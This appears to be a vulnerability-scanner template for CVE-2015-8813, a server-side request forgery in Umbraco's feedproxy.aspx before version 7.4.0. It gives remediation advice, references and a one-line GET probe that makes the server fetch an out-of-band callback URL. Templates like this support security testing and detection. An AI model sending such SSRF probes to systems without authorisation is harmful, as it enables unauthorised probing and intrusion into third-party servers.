Umbraco <7.4.0- Server-Side Request Forgery

id: CVE-2015-8813

info:
  name: Umbraco <7.4.0- Server-Side Request Forgery
  author: emadshanab
  severity: high
  description: Umbraco before version 7.4.0 contains a server-side request forgery vulnerability in feedproxy.aspx that allows attackers to send arbitrary HTTP GET requests via http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index.
  impact: |
    The vulnerability can result in unauthorized access to sensitive information or systems, leading to potential data breaches or further exploitation.
  remediation: |
    Upgrade Umbraco to version 7.4.0 or above to mitigate the vulnerability and apply any necessary patches or security updates.
  reference:
    - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8813
    - https://github.com/umbraco/Umbraco-CMS/commit/924a016ffe7ae7ea6d516c07a7852f0095eddbce
    - http://www.openwall.com/lists/oss-security/2016/02/18/8
    - http://issues.umbraco.org/issue/U4-7457
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2015-8813
    cwe-id: CWE-918
    epss-score: 0.11595
    epss-percentile: 0.95491
    cpe: cpe:2.3:a:umbraco:umbraco:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: umbraco
    product: umbraco
  tags: cve2015,cve,ssrf,oast,umbraco,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
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